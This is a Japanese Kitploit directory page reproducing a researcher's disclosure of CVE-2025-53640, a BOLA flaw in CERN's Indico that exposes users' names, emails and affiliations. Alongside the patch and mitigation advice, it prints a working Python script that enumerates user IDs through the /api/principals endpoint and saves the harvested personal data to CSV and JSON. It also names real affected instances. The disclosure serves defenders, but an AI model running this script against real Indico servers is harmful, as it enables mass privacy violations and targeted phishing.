Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-53640 — CERNのIndicoにおける壊れたオブジェクトレベル認可(BOLA)は、認証済みユーザーの列挙を引き起こします。 | Kitploit
ツール/GitHubGitHub/rafaelcorvino1/cve-2025-53640
OSINT (オープンソースインテリジェンス)脆弱性分析ウェブアプリケーション悪用APIセキュリティテスト情報収集ペネトレーションテスト
GitHubrafaelcorvino1/cve-2025-53640

CVE-2025-53640

CERNのIndicoにおける壊れたオブジェクトレベル認可(BOLA)は、認証済みユーザーの列挙を引き起こします。

リポジトリを見る
117ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-53640 – CERN の Indico における認証済みユーザー列挙 (BOLA 脆弱性)

2025-07-19_11-19

CVE Badge

CVE-2025-53640 の PoC および技術的分析: Indico の Broken Object Level Authorization (BOLA) 脆弱性により、エンドポイント経由で認証済みユーザーの列挙が可能になり、氏名、メールアドレス、所属が暴露されます。悪用スクリプト、リクエスト分析、スクリーンショットを含みます。世界的に展開されている Indico インスタンス(欧州原子核研究機構 (CERN)、国際連合 (UN)、マサチューセッツ工科大学 (MIT)、欧州宇宙機関 (ESA) など)に影響します。

説明

オープンソースアプリケーション Indico の Broken Object Level Authorization (BOLA) 脆弱性により、エンドポイントを通じて大量のユーザー列挙が可能になります。

もともとは特定のフォームフィールドでユーザー ID を解決するためのものですが、このエンドポイントは 任意の有効なユーザー ID の個人情報を取得するために悪用される可能性があります:

  • フルネーム

  • メールアドレス

  • 役職

  • 所属

  • アバター URL

この脆弱性は Indico のメンテナによって報告・確認され、正式に CVE-2025-53640 として追跡されています。

悪用の要件

  • 有効な認証済みセッションが必要です。

  • ただし、ほとんどの公開 Indico インスタンスでは、メール検証、CAPTCHA、手動承認なしで自己登録が可能です。

  • これにより、単純なアカウント作成後、実質的に非認証ユーザーによる悪用が可能になります。

世界的な影響

Indico は CERN (欧州原子核研究機構) によって開発された広く採用されているイベント・会議管理プラットフォームであり、世界中の学術・機関インフラを支えています:

  • CERN (欧州原子核研究機構): 年間 90 万件以上のイベント、毎日 200 以上の部屋が予約されます。

  • 全世界: 300 以上の機関で年間約 145,000 件のイベント。

  • UN (国際連合): 年間 18 万人以上の参加者。

  • UNOG (ジュネーブ国際連合事務所): 年間最大 70 万人のユーザー。

  • 大学、研究所、研究機関、政府機関で広く使用されています。

影響を受ける公開インスタンスの例:

  • https://indico.cern.ch

  • https://indico.esa.int

  • https://indico.mit.edu

科学、学術、政府環境での広範な採用により、この脆弱性は深刻なリスクをもたらします:

  • 研究者、職員、管理者の身元情報の漏洩

  • 大規模なプライバシー侵害と機関ディレクトリの暴露

  • フィッシングやソーシャルエンジニアリングを目的とした標的型偵察

  • 機密性の高い研究や政策イニシアチブの侵害の可能性

影響

  • 個人データ (PII) の開示

  • 高権限ユーザー(管理者、主催者)の列挙

  • 大量フィッシングおよびスピアフィッシング攻撃の支援

  • GDPR、LGPD、および内部の機関ポリシーなどの規制に違反

  • 管轄によっては報告義務のある侵害に該当する可能性があります

パッチ

この問題は Indico v3.3.7 で修正されました。

メンテナによると、予測可能な ID によるユーザーデータ(氏名、所属、メールアドレス)の一括ダンプを防ぐために、エンドポイントの動作が調整されました。新しい設定フラグ ALLOW_PUBLIC_USER_SEARCH も導入されました。

追加の緩和策は以下のとおりです:

  • 登録時のメールチェックを制限

  • 公開検索が無効な場合に人物リンクの解決を無効化

  • 制限付き検索で ACL のないイベントに UI 警告を追加

概念実証 (PoC)

エクスプロイト

root@kitploit:~
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://indico.<URL>/api/principals"
headers = {
    "Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
    "Content-Type": "application/json",
    "X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}

def enumerate_users(max_errors=10):
    user_id = 1
    errors = 0
    results = []

    while errors < max_errors:
        payload = {"values": [f"User:{user_id}"]}
        response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)

        if response.status_code == 200:
            data = response.json()
            key = f"User:{user_id}"
            if key in data and not data[key].get("invalid", True):
                user = data[key]
                print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
                results.append({
                    "user_id": user_id,
                    "name": f"{user['first_name']} {user['last_name']}",
                    "email": user["email"],
                    "affiliation": user["affiliation"],
                    "title": user["title"],
                    "avatar_url": user["avatar_url"]
                })
                errors = 0
            else:
                print(f"[-] ID {user_id}: Invalid")
                errors += 1
        else:
            print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
            errors += 1
        user_id += 1

    with open("enumerated_users.json", "w", encoding="utf-8") as jf:
        json.dump(results, jf, indent=2, ensure_ascii=False)

    with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
        writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
        writer.writeheader()
        writer.writerows(results)

    print("Enumeration finished.")

if __name__ == "__main__":
    enumerate_users()
image image

緩和策のヒント

  • ロールまたはコンテキストに基づいてエンドポイントへのアクセスを制限する

  • indico.conf で ALLOW_PUBLIC_USER_SEARCH = false を設定する

  • 公開するユーザーフィールドを必要なものだけに制限する

  • 自己登録を無効化または制限する(例: メール検証、管理者承認)

  • エンドポイントのモニタリングとレート制限を有効にする

  • 直ちに Indico 3.3.7 以降へアップグレードする

  • 列挙パターンを検出するためにアクセスログを監視する

CVE

公式 ID: CVE-2025-53640

開示

この脆弱性は、ブラジルの RNP (Rede Nacional de Ensino e Pesquisa) における Red Team Residency Program の一環として実施されたセキュリティ評価中に発見されました。

すべての調査とテストは、事前の承認と監督の下で実施されました。倫理的ガイダンスとインフラストラクチャサポートを提供してくれた RNP セキュリティチーム に特に感謝します。

この CVE は、機密性の高い機関データを管理するプラットフォームにおいて、厳格なオブジェクトレベルアクセス制御を実施することの重要性を浮き彫りにしています。

参考文献

  • GitHub セキュリティアドバイザリ – GHSA-q28v-664f-q6wj

  • Indico コミット f858355

  • NVD レコード

  • CVE.org レジストリ

  • Indico 設定: ALLOW_PUBLIC_USER_SEARCH

  • Indico アップグレードガイド

  • リリースノート – v3.3.7

ツールをダウンロード